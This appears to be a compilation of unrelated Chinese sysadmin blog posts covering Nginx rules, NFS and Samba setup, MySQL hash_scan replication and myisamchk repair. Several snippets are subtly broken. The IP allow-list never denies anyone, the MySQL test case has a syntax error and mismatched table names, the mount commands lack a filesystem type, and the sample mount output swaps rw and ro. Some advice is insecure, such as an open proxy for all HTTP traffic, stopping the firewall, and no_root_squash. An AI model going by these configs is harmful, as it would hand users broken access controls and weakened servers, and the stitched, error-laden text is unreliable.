那些实用的Nginx规则

一、概述

大家都知道Nginx有很多功能模块,比如反向代理、缓存等,这篇文章总结下我们这些年实际环境中那些有用的Nginx规则和模块,大部分是用法的概括及介绍,具体细节在实际配置时再自行google。

二、内置语法

先介绍Nginx默认已支持的内置功能,靠这些基本就满足大部分的web服务需求。

2.1 proxy代理

proxy常用于两类应用场景,一类是中转,如异地科学的上网方式,另外一类是到后端服务的负载均衡方案。

用反向代理时候,需要特别注意里面的域名默认是在nginx启动时候就解析了,除非reload否则一直用的是当初解析的域名,也就是说不能动态解析。

但这个问题是可以通过别的模块或者用内置字典变量方式来解决。

resolver 114.114.114.114;
server {
    location / {
        set $servers github.com;
        proxy_pass http://$servers;
    }
}

2.1.1 中转

针对某个域名进行中转:

server {
listen 172.16.10.1:80;
    server_name pypi.python.org;
    location ~ /simple {
        proxy_set_header Host $http_host;
        proxy_redirect off;
        proxy_pass http://pypi.python.org;
    }
}

注意如果是前后端域名不一样的话需要处理proxy_redirect的301跳转之类的显示,否则在跳转时候会跳转到proxy_pass的域名。

另外可以直接代理所有80端口的http流量:

server {
    listen 80;
    server_name _;
    resolver 114.114.114.114;
    set $URL $host;
    location / {
        proxy_pass http://$URL;
    }
}

如果是想代理https的站点也不是不可能,只是需要自行处理CA证书导入即可,而且经过https中转的流量对nginx是透明的,也就是有证书的时候做窃听和劫持的情况。

2.1.2 负载均衡

这是代理的另外一个常见用法,通过upstream到多个后端,可以通过weight来调节权重或者backup关键词来指定备份用的后端,通常默认就可以 了,或者可以指定类似ip_hash这样的方式来均衡,配置很简单,先在http区域添加upstream定义:

upstream backend {
    ip_hash;
    server backend1.example.com weight=5;
    server backend2.example.com weight=5;;
}

然后在server里面添加proxy_pass:

location / {
    proxy_pass http://backend;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
}

做负载均衡的时候可以智能识别后端服务器状态,虽然可以智能地proxy_next_upstream到另外的后端,但还是会定期损失一些正常的“尝试性”的连接,比如过了max_fails 次尝试之后,休息fail_timeout时间,过了这个时间之后又会去尝试,这个时候可以使用第三方的upstream_check模块来在后台定期地自动探索,类似这样:

check interval=3000 rise=2 fall=5 timeout=2000 type=http;

这样替代用户正常的连接来进行尝试的方式进一步保障了高可用的特性。

还有就是在做前端代理的时候也是这样的方式,直接proxy_pass到后端即可,比如CDN的场景。

2.2 防盗链

普通的防盗链是通过referer来做,比如:

location ~* .(gif|jpg|png|bmp)$ {
    valid_referers none blocked *.example.com server_names ~.google. ~.baidu.;
    if ($invalid_referer) {
        return 403;
    }
}

再精细一点的就是URL加密,针对一些用户IP之类的变量生成一个加密URL通常是针对文件下载时候用到,可以通过openresty来写lua脚本或者是accesskey之类的模块来实现。

2.3 变量

nginx里面支持正则匹配和变量配置,默认的变量比如remote_addr、request_filename、query_string、server_name之类的,这些组合在一起可以做很多规则,或者还有日志里面status、http_cookie等。

还有在进行多域名配置时候可以用通配符,比如:

server_name ~^(www.)?(.+)$;
root /data/web/$2;

这样就实现了自动进行域名的目录指派。

变量方面,比如配置变量a=1:

set $a 1;

下面这个案例配合if判断来做有更大的用处。

2.4 if判断

nginx里面支持一些简单的if判断,但是没有多重逻辑的语法,多个判断条件用起来需要结合变量的方式来实现,比如允许ip地址为10.10.61段和和192.168.100段的用户访问,其余的拒绝,返回405状态码:

set $err 0;
    if ( $remote_addr ~ 10.10.61.){
        set $err 0;
    }
    if ( $remote_addr ~ 192.168.100.){
        set $err 0;
    }
    if ( $err = 1){
        return 405;
    }

这样通过一个err变量比较巧妙实现了需求。

2.5 error_page

有用到后端proxy的地方需要加上这句话才可以传到状态码到nginx:

fastcgi_intercept_errors on;

具体配置一般是配置到具体的错误URL页面,比如:

#返回具体状态码
error_page 404 403 /4xx.html
#返回200状态码
error_page 404 403 =200  /error.html

或者采用callback的方式统一做处理:

error_page 404 403 = @fallback; 
location @fallback {
    proxy_pass http://backend;
    access_log /data/logs/404_error.log access;
}

这样在重定向时不会改变URL,然后把404页面直接返回。

2.6 rewrite

rewrite做一些301、302之类的跳转,同时也可以在CDN前端做“去问号”缓存的效果。

location /db.txt {
    rewrite (.*) $1? break;
    include proxy.conf;
}

另外最常见的跳转写法:

rewrite ^/game/(.*) /$1;

把/game/test跳转为/test的效果,注意这样是没有状态码的,如果访问正常就直接返回200状态码。

可以在后面加个permanent参数,就变为了301 Moved Permanently,或者添加redirect改为302跳转。

同理,还可以进行多个正则匹配进行URL重组,比如:

rewrite ^/download/(.*)/lastest/(.*)$ /file/$1?ver=$2 break;

2.7 日志字段

想针对每个连接进行日志留档,可以在nginx日志那里配置好字段,比如记录cookie之类的数据。

在log_format字段里面加入$http_cookie变量即可。

另外post的数据可以永久保留在文件里面,比如用来做http的日志备份,包括get和post的原始数据,把这个值开启即可:

client_body_in_file_only  on;

然后post的数据就会保存在nginx/client_body_temp文件夹里面。

2.8 internal关键词

这个关键词很少见,但有时候是很有用的,比如在有很多规则时候,突然需要针对某个目录转为nginx内部处理。

location ^~ /upload/down/ {
alias /data/web/dts/dtsfile/down/;
internal;
}

2.9 try_files

字面意思是尝试,后面可以接多个目录或者文件,比如kohana框架:

try_files $uri /index.php?$query_string;

先看是否有URL这个文件,没有的话再调用index.php来处理,或者支持状态码处理:

try_files /foo /bar/ =404;

没有这两个文件的话返回404状态。

2.10 auth认证

可以做简单的用户登录认证方式,其中的passwd_file得通过apache的htpasswd命令来生成。

auth_basic "Restricted";
auth_basic_user_file passwd_file;

认证通过之后每次访问会在头部添加Authorization字段包含用户名密码的base64加密密文给服务端。

2.11 gzip

普通的线上web站点gzip压缩是必须要开的,压缩一些文本类型的文件再返回给用户。

注意必须手动指定全需要压缩的类型,比如css、js之类的,线上配置如下:

gzip on;
gzip_min_length  2048;
gzip_buffers     4 16k;
gzip_vary   on;
gzip_http_version 1.1;
gzip_types  text/plain  text/css text/xml application/xml application/javascript application/x-javascript ;

2.12 mime配置

很久以前基本是忽略这个配置,但手游流行之后就发现异常了,需要让手机浏览器知道返回的apk后缀是什么类型,否则类似IE浏览器会以zip后缀返回,需要加上:

application/vnd.android.package-archive apk;
application/iphone pxl ipa;

2.13 限速

限速包括限制请求的并发数和请求的下载速度。

简单的限制某个线程的下载速度就直接加上一句话就可以了:

limit_rate 1024k;

要限制某个IP的并发数之类的就需要用ngx_http_limit_req_module和ngx_http_limit_conn_module模块了,不过是默认就编译好的。

比如使用一个 10M 大小的状态缓存区,针对每个IP每秒只接受20次的请求:

limit_req_zone $binary_remote_addr zone=NAME:10m rate=20r/s;

2.14 location匹配

location匹配有多种方式,常见的比如

location  = / 
location  / 
location ^~ /test{

是有优先级的,直接 ”=” 的优先级是最高的,一般就用”~”这个符号来匹配php就好了,不过是区分了大小写的:

location ~ .*.php$

2.15 文件缓存

返回给用户的文件一般都配置了过期时间,让浏览器缓存起来。

比如缓存14天:

expires 14d;

针对某些特殊的文件就需要location匹配之后进行禁止缓存配置:

add_header Cache-Control no-cache;
add_header Cache-Control no-store;
expires off;

2.16 缓存文件

nginx可以作为ATS这样的缓存服务器来缓存文件,配置也比较简单,不过我们很少用,除非一些特殊的场合,参考配置:

#先在全局下面定义好缓存存放的目录
proxy_cache_path  /data/cache/ levels=1:2 keys_zone=cache_one:10m inactive=7d max_size=10g;
proxy_temp_path   /data/cache/proxy_temp_path;
proxy_cache_key   $host$uri$is_args$args;
#然后在server里面的location匹配好目的文件,加入下一段即可
proxy_cache cache_one;
proxy_cache_valid 200 304 24h;
proxy_cache_valid any 10m;
proxy_pass https://$host;
proxy_cache_key $host$uri$is_args$args;
add_header  Nginx-Cache "$upstream_cache_status"; 3. 内置模块

三、内置模块

nginx含有大量的模块可以支持多种复杂的需求,比如源码目录src/http/modules里面就有很多c模块的代码,或者直接通过./configure –help|grep module来查看有哪些内置模块,编译时候直接加上就可以了。

除了nginx内置的模块,网络上还有很多第三方的模块,可以通过编译时候加参数–add-module=PATH指定模块源码来编译。

下面介绍一些我们线上用过而且比较赞的内置模块。

3.1 stream

端口转发的模块,从nginx1.9版本才开始支持,包含tcp和udp的支持,和IPTABLES相比这个虽然是应用层,会监听端口,但是配置起来很方便,比IPTABLES灵活,在tcp模块下面添加类似vhost的server就可以了,方便自动化管理,参考配置:

server {
    listen PORT;
    proxy_pass IP:PORT;
    access_log /data/logs/tcp/PORT.log;
}

3.2 http_realip_module

nginx反向代理之后,如何让后端web直接获取到的IP不是反向代理的iP,而是直接获取到用户的真实IP呢,就需要这个模块了,不需要代码那里再做类似X-Real-IP的变量特殊判断。

3.3 http_slice_module

在做CDN时候可以用到,让一个大文件分片,分成多个小文件通过206断点续传到后端,然后再组合起来,避免大文件直接回源导致多副本和多次回源的问题。

3.4 http_secure_link_module

前面说到的防盗链可以用这个来做,但是这个一般是针对那种文件下载时候用到的,比如从网页下载时候,服务端生成一个加密URL给用户,然后这个URL有过期时间之类的,避免此URL被多次分享出去,不过普通的素材加载还是用普通的防盗链即可。

3.5 http_sub_module

替换响应给用户的内容,相对于sed之后再返回,比如可以在需要临时全局修改网站背景或者title时候可以一次性处理好。

四、扩展项目

简单介绍下大名鼎鼎的两个基于nginx的扩展项目,也是我们线上有很多地方用到的。

4.1 openresty

集成lua脚本,几乎可以完成任何普通web相关的需求。

比如URL加密进行防劫持和防盗链,服务端动态生成一串aes加密的URL给CDN,CDN的openresty解密之后用普通的URL转发到后端,然后再返回给用户正确的内容。

4.2 tengine

淘宝的nginx修改版,实现了很多nginx的收费功能或者是特殊功能,比如动态加载、concat合并请求,动态解析等。

我们python开发的后台基本都是用的这个版本,主要是利用了concat的合并素材的功能。

五、结语

Nginx是个非常实用软件,部分功能已经超越了普通的web服务定位,同时它具备开源、轻量、自动化等特性,能有效解决实际工作中很多特殊场景的需求,祝Nginx在全球的份额持续攀升~

Linux下NFS的搭建

NFS是Network File System的简称,即网络文件系统。NFS是系统间进行文件共享的一种网络协议,它允许用户像访问本地文件一样去访问网络上共享的文件。

CentOS 自带NFS功能
若没有需安装:yum install -y nfs-utils rpcbind

  • 本次实验平台: CentOS release 6.8 (Final)
  • 服务端IP:172.17.99.67
  • 客服端IP:172.17.99.61

一、环境搭建

1. 编辑配置文件/etc/exports

vim /etc/exports

/ane/data/LBLOGS        172.17.99.61(rw,sync,no_root_squash)
/ane/data/LPLOGS        *(ro,sync)
#表示只有172.17.99.61有读写权限LBLOGS,只有读权限LPLOGS

2. 修改固定端口

vim /etc/sysconfig/nfs

RQUOTAD_PORT=30001
LOCKD_TCPPORT=30002
LOCKD_UDPPORT=30002
MOUNTD_PORT=30003
STATD_PORT=30004

二、搭建NFS

1. 创建nfs共享目录

mkdir /ane/data/LBLOGS -p
mkdir /ane/data/LPLOGS -p

2. 启动nfs

service nfs start
service rpcbind start

3. 在客服端查询

showmount -e 172.17.99.131
clnt_create: RPC: Program not registered
#此报错是因为启动nfs应用顺序错误导致

4. 重启nfs

service nfs stop
service rpcbind stop
#必须按以下方式顺序启动
service rpcbind start
service nfs start

5. 客服端查询

showmount -e 172.17.99.67
Export list for 172.17.99.67:
/ane/data/LBLOGS        172.17.99.61(rw,sync,no_root_squash)
/ane/data/LPLOGS        *(ro,sync)

6. 挂载

mount -t 172.17.99.67:/ane/data/LBLOGS /ane/data/LBLOGS
mount -t 172.17.99.67:/ane/data/LPLOGS /ane/data/LPLOGS

7. 检查

mount | grep nfs

172.17.99.67:/ane/data/LBLOGS on /ane/data/LBLOGS type nfs (ro,vers=4,addr=172.17.99.67,clientaddr=172.17.99.61)
172.17.99.67:/ane/data/LPLOGS/ on /ane/data/LPLOGS type nfs (rw,vers=4,addr=172.17.99.67,clientaddr=172.17.99.61)

三、nfs其他配置

1. 其他报错

mount 172.17.99.131:/ane/data/YTLOGS/ /ane/data/YTLOGS/
mount.nfs: access denied by server while mounting 172.17.99.131:/ane/data/YTLOGS/
#因为版本的问题导致
mount -o v3 172.17.99.131:/ane/data/YTLOGS/ /ane/data/YTLOGS/   #指定版本挂载即可

2. 按需自动挂载(间接映射)

#修改不活动状态的超时时间
vim /etc/sysconfig/autofs

TIMEOUT=300
修改为为
TIMEOUT=600
也就是将不活动状态的超时时间由5分钟修改为10分钟。

3. 开机挂载

vim /etc/fstab

172.17.99.67:/ane/data/LPLOGS /ane/data/LPLOGS nfs defaults 0 0

4. 卸载nfs挂载

umount /ane/data/LPLOGS

Over~

使用Samba替代NFS

之前项目组之中一位离职的同事给我们搭建的数据平台, 用的是Suse。 后来因为计算平台需要迁移到Spark之上, 我们就需要让Spark能方便的读取到SUSE之中的数据文件。

方案1:SUSE NFS Server

因为之前项目组最常用的文件分享协议就是NFS了。 我们的FreeNas服务器上面, 存储了几十T的数据文件。

因此我们首先尝试的是NFS的方法。 Google之后:

尝试了以下命令:

yast2 -i nfs-kernel-server 
# or zypper install -y nfs-kernel-server

但是不管上面哪个命令, 都会报错:

Warning: Legacy commandline option -y/--no-confirm detected. Please use -n/--non-interactive instead.
File '/repodata/repomd.xml' not found on medium 'http://download.opensuse.org/update/13.2/'

Abort, retry, ignore? [a/r/i/? shows all options] (a): a
ABORT request: Aborting requested by user

非常奇怪的问题, 后来又经过Google, 发现原因:

Yes, @tboerger is right. 13.2 reached EOL, this is why the repositories are no longer around. This doesn’t depend on this project.

From: https://github.com/openSUSE/docker-containers-build/issues/23

敢情是这位哥们用的SUSE版本太老了?!

方案2: Samba出马

正在一筹莫展甚至想把数据文件全部迁移到另外一个Ubuntu机器之时, 忽然发现这一台SUSE已经安装了Samba Server 服务, 只是没有启用而已。

现在回想起来, 这个SUSE的Samba Server的安装,也真是奇葩, 官网文档写的也很不详细。

现在总结一下:

  • 执行命令: yast2
    如图选中“Samba Server”

未分类

  • Workgroup 默认, 选择Next

未分类

  • Domain Controller 依然默认, Next

这一个功能我猜是某些域名才能访问。 具体没有试过~

未分类

  • 这一步要注意, 选择启动的时候自动启动

未分类

  • 注意, 需要手动设定账号信息, 否则在其他地方能看到目录, 就是进不去

假设原来已经有一个用户账号 hadoop, 执行下面的命令, 给这个账号设置一下密码:

suse2:~ # smbpasswd -a hadoop
New SMB password:
Retype new SMB password:
Added user hadoop.

这里设置的密码,可以跟原来的SSH密码一样。

设置完成之后, 我们可以在Windows上面直接使用UNC的方式访问了:

UNC的方式: \10.206.132.119

未分类

Ubuntu Client Mount Samba server

因为我们的需求是让Spark能方便的读取SMB服务器上面的数据, 最方便的方法还是直接mount。

当然可以使用smbclient, 不过在Spark之中读取数据的时候, 就不那么友好了。

mount命令也很简单,参考下面的格式:

sudo mount //10.206.132.119/users/hadoop/airsupport_da /data/airsupport/airsupport_da -o user=hadoop,password=xxxx

事后小结

  1. SUSE的文档相比Ubuntu感觉真心很少,而且也不是很友好。
    很多网友的文章, 感觉也是很久以前的东西。 特别是看到有人说某某东西EOS之后, 内心是有一些崩溃的。

  2. 后来简单调查了一下, Samba的稳定性确实要比NFS要好一些。
    我们的NFS Server 经常命令行卡死。
    解决方案: 不好意思, 暂时无解~ 重启服务器吧。

NFS-mount 跨服务器文件挂载

一、什么是NFS?

NFS:network file system,网络文件系统,允许服务器之间通过TCP/IP协议进行资源共享。NFS客户端可以透明的读写NFS服务器上的文件,就像操作本地文件一样。

二、为什么要用NFS?NFS什么好处?

  1. 节省空间:客户端磁盘空间较少,可以挂载到另外的服务器上,以节省本地存储空间。

  2. 网络受限:有些公司内部服务器无法访问外网,但是一些操作需要用到外网权限,就可以将公司服务器挂载到可以访问外网的服务器上,在另外的服务器上进行操作。

三、怎么挂载呢?

场景:服务器A的/mnt目录 挂载到 服务器B上的/test目录上

配置服务器A

1、需要检查是否具有nfs服务

$ ls -al /etc/init.d/nfs-kernel-server // 查看是否存在nfs服务

如果没有 需要手动安装 nfs-kernel-server 服务

$ sudo apt-get install nfs-kernel-server

2、修改 /etc/exports文件(需要root权限),增加要挂载的目录 /mnt *(rw,sync)

其中/mnt是要被挂在的目录,*表示任何服务器,也可以写客户端的IP地址,(rw,sync)表示挂载文件系统时的策略,rw表示读写,sync表示同步进行IO操作,还有其他的一些选项async(非同步进行IO操作)。

3、重启nfs服务

$ sudo /etc/init.d/nfs-kernel-server restart

配置服务器B

以root权限执行下面命令进行挂载

$ sudo mount -t nfs 10.24.21.143:/mnt /test

-t nfs 表示挂载类型是nfs,10.24.21.143:/mnt表示服务器A的IP及需要被挂载的目录,/test表示挂载到服务器B的目录。
执行下列命令查看是否已经挂载成功

$ mount | grep nfs // 如果成功,能够看到挂载的信息

四、配置过程中遇到的坑

其中在服务器B进行挂载时遇到报错如下:

mount: wrong fs type, bad option, bad superblock on 10.24.21.143:/mnt,
       missing codepage or helper program, or other error
       (for several filesystems (e.g. nfs, cifs) you might
       need a /sbin/mount.<type> helper program)

       In some cases useful info is found in syslog - try
       dmesg | tail or so.

错误信息中提到

you might need a /sbin/mount.<type> helper program

指在mount过程中用到了 /sbin/mount.nfs程序,而/sbin/mount.nfs是nfs-common提供的,需要手动运行下面的命令安装一下就好了。

$ sudo apt-get install nfs-common

NFS介绍、NFS服务端安装配置、NFS配置选项

NFS 介绍

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。NFS的数据传输基于RPC(remote procedure call)协议。

  • NFS 应用场景是:A,B,C 三台机器上需要保证被访问到的文件是一样的。A共享数据出来,B和C分别去挂载A共享的数据目录,从而B和C访问到的数据和A上的一致。
    • 例子:跑了一个网站,上面传输了很多图片,用户访问一个图片时,需要从A机器上去请求,但A机器负载高,为了分担负载,就多弄了两台机器,B机器C机器同时提供服务;正常的话,需要到A机器上才能拿到数据,但是B机器和C机器做了负载均衡,分担了相同的服务器,那么用户也有可能到B机器或者C机器上;那么用户请求到B机器上的时候,如何才能获取到A机器上的数据呢;要么把A机器的数据传输到B机器上,同时传输到C机器上,但是这个不能时时更新,(用户上传的数据是存放在A机器上,但用户请求的时候数据是请求到B机器上)这样A上的数据还没到B上面去,就会导致用户请求获取的数据访问不到,访问为空,为404;那么NFS服务就可以解决这个问题,将A机器的数据共享到B机器、C机器,通过NFS来实现。有NFS服务以后,上传到A机器上的数据,B机器或C机器上就能马上看到和调用。NFS可以实时同步数据。
  • NFS原理图

未分类

NFS服务需借助RPC协议实现通信。

服务端需要启动一个NFS服务,服务端要想给客户端提供服务,需要借助RPC协议,RPC协议是由rpcbind服务所实现的;在centos 5或者之前的版本叫portmap服务,centos6及之后的版本叫rpcbind服务,这两个都是一个服务,最终实现了RPC协议的通信,NFS服务默认不会监听任何端口(启动服务,但不会监听端口),最终监听端口,实现RPC通信的过程是由rpcbind服务产生的RPC协议实现的,RPC协议 默认监听的端口是111 端口;

整个流程为: 服务端的NFS服务监听一个端口通过RPC协议监听的端口,再去告诉客户端RPC协议,然后NFS客户端通过本机的RPC端口回传数据信息到服务端NFS监听的端口,最终实现通信.

NFS 服务端安装配置

准备两台虚拟机,一台作为服务端,一台作为客户端。

服务端配置

服务端IP:192.168.159.131

  • 安装NFS工具:
[root@localhost ~]# yum install -y nfs-utils rpcbind
  • 配置

编辑/etc/exports 文件,加入下面内容:

[root@localhost ~]# vim /etc/exports

/home/nfstestdir 192.168.159.0/24(rw,sync,all_squash,anonuid=1000,anongid=1000)
// /home/nfstestdir 要分享出去的目录是哪一个,这个目录是不存在的,后期还需要创建。
// ip段 为指定要给哪个ip段机器去分享这个目录,也可以写单个ip。
  • 启动NFS服务

在yum安装完成后,系统会自动启动rpcbind服务(在服务端进程名为systemd),默认监听的端口为111端口

[root@localhost ~]# ps aux | grep rpc

rpc 2390 0.0 0.0 64964 1044 ? Ss 21:19 0:00 /sbin/rpcbind -w
root 3826 0.0 0.0 112680 972 pts/0 R+ 21:31 0:00 grep --color=auto rpcbind
[root@localhost ~]# netstat -lntp 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
tcp 0 0 0.0.0.0:111 0.0.0.0: LISTEN 1/systemd 
......
tcp6 0 0 :::111 ::: LISTEN 1/systemd 
......

启动NFS服务:

[root@localhost ~]# systemctl start nfs

//启动NFS 服务是会自动帮你启动rpc相关的服务
将NFS服务加入开机启动项:
[root@localhost ~]# systemctl enable nfs
Created symlink from /etc/systemd/system/multi-user.target.wants/nfs-server.service to /usr/lib/systemd/system/nfs-server.service.

客户端配置

IP : 192.168.159.132

  • 安装NFS工具
[root@localhost ~]# yum install -y nfs-utils
  • 客户端挂载

检查客户端是否有权限访问服务端文件:

[root@localhost ~]# showmount -e 192.168.159.131 //131为服务端ip
clnt_create: RPC: Port mapper failure - Unable to receive: errno 113 (No route to host)
// 报错!说明网络不通,不能和192.168.159.131 的113端口通信。

解决办法:
1、检查服务端NFS服务是否开启(有没有监听111端口)
2、如果确认服务端NFS服务已经开启,那么检查防火墙状态,关闭服务端和客户端firewalld和SELinux防火墙(systemctl stop firewalld)
关闭防火墙后再次检查客户端是否有权限访问服务端文件:

[root@localhost ~]# showmount -e 192.168.159.131

Export list for 192.168.159.131:
/home/nfstestdir 192.168.159.0/24
// 客户端已有权限访问服务端

开始挂载:

[root@localhost ~]# mount -t nfs 

192.168.159.131:/home/nfstestdir /mnt/
// -t 指定文件系统类型
[root@localhost ~]# df -h

文件系统 容量 已用 可用 已用% 挂载点
......
192.168.159.131:/home/nfstestdir 16G 5.2G 11G 33% /mnt
  • 测试

在客户端/mnt目录下创建test文件

[root@localhost ~]# touch /mnt/test
[root@localhost ~]# ls -l /mnt/
总用量 0
-rw-r--r--. 1 mysql mysql 0 1月 16 22:05 test
查看服务端/home/nfstestdir/目录:
[root@localhost ~]# ls -l /home/nfstestdir/
总用量 0
-rw-r--r--. 1 mysql mysql 0 1月 16 22:05 test
// 存在个客户端上一样的文件,实现了同步共享。

其中,文件的用户和用户组都为mysql,是因为之前nfs服务端配置时,指定了anonuid=1000,anongid=1000。

服务端:

[root@localhost ~]# awk -F ':' '$3==1000 {print $0}' /etc/passwd
mysql:x:1000:1000::/home/mysql:/bin/bash
客户端:
[root@localhost ~]# awk -F ':' '$3==1000 {print $0}' /etc/passwd
mysql:x:1000:1000::/home/mysql:/bin/bash
// 由于两边uid都为1000,所以都为mysql用户。所以文件的所属组和所属主是由服务端配置文件中定义的anonuid,anongid决定的。(假设两个服务器上uid1000不是同一个用户,则同步文件在两个服务器上的属主和属组是不一样的。)

NFS配置选项

  • rw 读写
  • ro 只读
  • sync 同步模式,内存数据实时写入磁盘/ 内存数据实时写入磁盘,这样会降低磁盘效率。
  • async 非同步模式 // 每隔一段时间把内存数据刷入磁盘一次,如果突然断电,会丢失一本分数据。
  • no_root_squash 客户端挂载NFS共享目录后,root用户不受约束,权限很大
  • root_squash 与上面选项相对,客户端上的root用户收到约束,被限定成某个普通用户
  • all_squash 客户端上所有用户在使用NFS共享目录时都被限定为一个普通用户
  • anonuid/anongid 和上面几个选项搭配使用,定义被限定用户的uid和gid

MySQL无主键延迟优化(slave_rows_search_algorithms)

我们知道,MySQL有一个老问题,当表上无主键或唯一键时,那么对于在该表上做的DML,如果是以ROW模式复制,则每一个行记录前镜像在备库都可能产生一次全表扫描(或者二级索引扫描),大多数情况下,这种开销都是非常不可接受的,并且产生大量的延迟。在无主键有二级索引的情况下会比无主键无索引情况要好一些,但同样可能会造成大延迟,下面有个案例。

在MySQL 5.6中提供了一个新的参数:slave_rows_search_algorithms, 可以部分解决无主键表导致的复制延迟问题,其基本思路是对于在一个ROWS EVENT中的所有前镜像收集起来,然后在一次扫描全表时,判断HASH中的每一条记录进行更新。

首先,我们执行下面的TestCase:

 --source include/master-slave.inc
 --source include/have_binlog_format_row.inc
 connection slave;
 set global slave_rows_search_algorithms='TABLE_SCAN';
 connection master;
 create table t1(id int, name varchar(20);
 insert into t1 values(1,'a');
 insert into t2 values(2, 'b');
 ......
 insert into t3 values(1000, 'xxx');
 delete from t1;
 ---source include/rpl_end.inc

随着 t1 数据量的增大,rpl_hash_scan.test 的执行时间会随着 t1 数据量的增大而快速的增长,因为在执行 ‘delete from t1;’ 对于t1的每一行删除操作,备库都要扫描t1,即全表扫描,如果 select count(*) from t1 = N, 则需要扫描N次 t1 表, 则读取记录数为: O(N + (N-1) + (N-2) + …. + 1) = O(N^2),在 replication 没有引入 hash_scan,binlog_format=row时,对于无索引表,是通过 table_scan 实现的,如果一个update_rows_log_event/delete_rows_log_event 包含多行修改时,每个修改都要进行全表扫描来实现,其 stack 如下:

#0 Rows_log_event::do_table_scan_and_update
#1 0x0000000000a3d7f7 in Rows_log_event::do_apply_event 
#2 0x0000000000a28e3a in Log_event::apply_event
#3 0x0000000000a8365f in apply_event_and_update_pos
#4 0x0000000000a84764 in exec_relay_log_event 
#5 0x0000000000a89e97 in handle_slave_sql (arg=0x1b3e030) 
#6 0x0000000000e341c3 in pfs_spawn_thread (arg=0x2b7f48004b20) 
#7 0x0000003a00a07851 in start_thread () from /lib64/libpthread.so.0
#8 0x0000003a006e767d in clone () from /lib64/libc.so.6

这种情况下,往往会造成备库延迟,这也是无索引表所带来的复制延迟问题。

如何解决问题:

  1. RDS为了解这个问题,会在每个表创建的时候检查一下表是否包含主建或者唯一建,如果没有包含,则创建一个隐式主建,此主建对用户透明,用户无感,相应的show create, select * 等操作会屏蔽隐式主建,从而可以减少无索引表带来的影响;

  2. 官方为了解决这个问题,在5.6.6及以后版本引入参数slave_rows_search_algorithms ,用于指示备库在apply_binlog_event时使用的算法,slave_rows_search_algorithms的文档描述的非常清晰,该变量由三个值的组合组成(就三种算法):TABLE_SCAN,INDEX_SCAN, HASH_SCAN,可以任意组合。其中TABLE_SCAN与INDEX_SCAN是已经存在的,也是默认组合配置,表示如果有索引就用索引,否则使用全表扫描。本文主要研究HASH_SCAN的实现方式。

参数组合(摘自log_event.cc: 9633~9648)

/*
  Decision table:
  - I  --> Index scan / search
  - T  --> Table scan
  - Hi --> Hash over index
  - Ht --> Hash over the entire table

  |--------------+-----------+------+------+------|
  | IndexOption | I , T , H | I, T | I, H | T, H |
  |--------------+-----------+------+------+------|
  | PK / UK      | I         | I    | I    | Hi   |
  | K            | Hi        | I    | Hi   | Hi   |
  | No Index     | Ht        | T    | Ht   | Ht   |
  |--------------+-----------+------+------+------|
*/

hash_scan的实现方法

简单的讲,在apply rows_log_event时,会将 log_event 中对行的更新缓存在两个结构中,分别是:m_hash, m_distinct_key_list。 m_hash:主要用来缓存更新的行记录的起始位置,是一个hash表; m_distinct_key_list:如果有索引,则将索引的值push 到m_distinct_key_list,如果表没有索引,则不使用这个List结构; 其中预扫描整个调用过程如下: Log_event::apply_event

Rows_log_event::do_apply_event
   Rows_log_event::do_hash_scan_and_update 
     Rows_log_event::do_hash_row  (add entry info of changed records)
       if (m_key_index < MAX_KEY) (index used instead of table scan)
         Rows_log_event::add_key_to_distinct_keyset ()

当一个event 中包含多个行的更改时,会首先扫描所有的更改,将结果缓存到m_hash中,如果该表有索引,则将索引的值缓存至m_distinct_key_list List 中,如果没有,则不使用这个缓存结构,而直接进行全表扫描。

执行stack如下:

#0 handler::ha_delete_row 
#1 0x0000000000a4192b in Delete_rows_log_event::do_exec_row 
#2 0x0000000000a3a9c8 in Rows_log_event::do_apply_row
#3 0x0000000000a3c1f4 in Rows_log_event::do_scan_and_update 
#4 0x0000000000a3c5ef in Rows_log_event::do_hash_scan_and_update 
#5 0x0000000000a3d7f7 in Rows_log_event::do_apply_event 
#6 0x0000000000a28e3a in Log_event::apply_event
#7 0x0000000000a8365f in apply_event_and_update_pos
#8 0x0000000000a84764 in exec_relay_log_event 
#9 0x0000000000a89e97 in handle_slave_sql
#10 0x0000000000e341c3 in pfs_spawn_thread
#11 0x0000003a00a07851 in start_thread () 
#12 0x0000003a006e767d in clone ()

执行过程说明:

Rows_log_event::do_scan_and_update

open_record_scan()
    do
      next_record_scan()
        if (m_key_index > MAX_KEY)
           ha_rnd_next();
        else
           ha_index_read_map(m_key from m_distinct_key_list)       
        entry= m_hash->get()
        m_hash->del(entry);
        do_apply_row()
    while (m_hash->size > 0);

从执行过程上可以看出,当使用hash_scan时,只会全表扫描一次,虽然会多次遍历m_hash这个hash表,但是这个扫描是O(1),所以,代价很小,因此可以降低扫描次数,提高执行效率。

hash_scan的一个bug

bug详情:http://bugs.mysql.com/bug.php?id=72788
bug原因:m_distinct_key_list 中的index key 不是唯一的,所以存在着对已经删除了的记录重复删除的问题。
bug修复:http://bazaar.launchpad.net/~mysql/mysql-server/5.7/revision/8494

问题扩展:

  • 在没有索引的情况下,是不是把 hash_scan 打开就能提高效率,降低延迟呢?不一定,如果每次更新操作只一条记录,此时仍然需要全表扫描,并且由于entry 的开销,应该会有后退的情况;

  • 一个event中能包含多少条记录的更新呢?这个和表结构以及记录的数据大小有关,一个event 的大小不会超过9000 bytes, 没有参数可以控制这个size;

  • hash_scan 有没有限制呢?hash_scan 只会对更新、删除操作有效,对于binlog_format=statement 产生的 Query_log_event 或者binlog_format=row 时产生的 Write_rows_log_event 不起作用;

[MySQL]快速解决”is marked as crashed and should be repaired”故障

具体报错如下:

Table '.Tablenameposts' is marked as crashed and should be repaired

提示说论坛的帖子表posts被标记有问题,需要修复。我记得以前也出现过类似的问题,但是只要点击Phpmyadmin上的repair按纽就自动修复了,但是这次很绝,什么都没有.于是赶快上网查找原因。最终将问题解决。解决方法如下:

找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:

myisamchk -c -r ../data/tablename/posts.MYI

然后myisamchk 工具会帮助你恢复数据表的索引。好象也不用重新启动mysql,问题就解决了。

问题分析:

1、
错误产生原因,有网友说是频繁查询和更新dede_archives表造成的索引错误,因为我的页面没有静态生成,而是动态页面,因此比较同意这种说法。
